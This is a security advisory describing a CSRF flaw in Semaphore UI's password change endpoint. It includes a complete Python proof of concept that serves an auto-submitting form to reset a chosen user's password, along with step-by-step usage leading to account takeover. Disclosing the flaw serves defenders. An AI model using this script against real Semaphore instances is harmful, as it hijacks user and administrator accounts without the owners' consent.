Résumé

Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation

Détails de l’avis

Summary

The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.

Details

The password change endpoint of Semaphore UI does not implement any CSRF protection:

  • No CSRF token required
  • No current password confirmation required
  • Authentication relies solely on a session cookie (semaphore) with no SameSite enforcement

A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users//password forms.

PoC

To reproduce the exploit, you can use the following python script:

import logging
import argparse
import time
import sys
import os 
from http.server import SimpleHTTPRequestHandler, HTTPServer

logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')

def forge_malicious_page(target, user_id, newpassword):
    return f"""
        <html>
        <body>

        <form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">

        <input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}'  value='//}}' />
        </form>
        
        <script>
        document.getElementById("CSRF_POC").submit();
        </script>

        </body>
        </html>
    """;


parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri",  help="Base uri to target", required=True)
parser.add_argument("-n","--new_password",  help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port",  help="Port to run server", default=1337)
args = parser.parse_args()


class Handler(SimpleHTTPRequestHandler):
    
     def do_GET(self):
        logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
                (self.client_address[0], self.command, self.path,
                self.path.split('?')[1] if '?' in self.path else 'None'))
        content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(content)))
        self.end_headers()
        self.wfile.write(content)


httpd = HTTPServer(("", args.port), Handler)
logging.info("[*] Serving at port "+str(args.port))

httpd.serve_forever()

Example :

python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337

1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337. 2 - Connect to semaphore UI in another tab with the targeted user. 3 - In the same browser, visit the malicious website (ex: localhost:1337). 4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password passwordchanged.

Impact

This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.

Références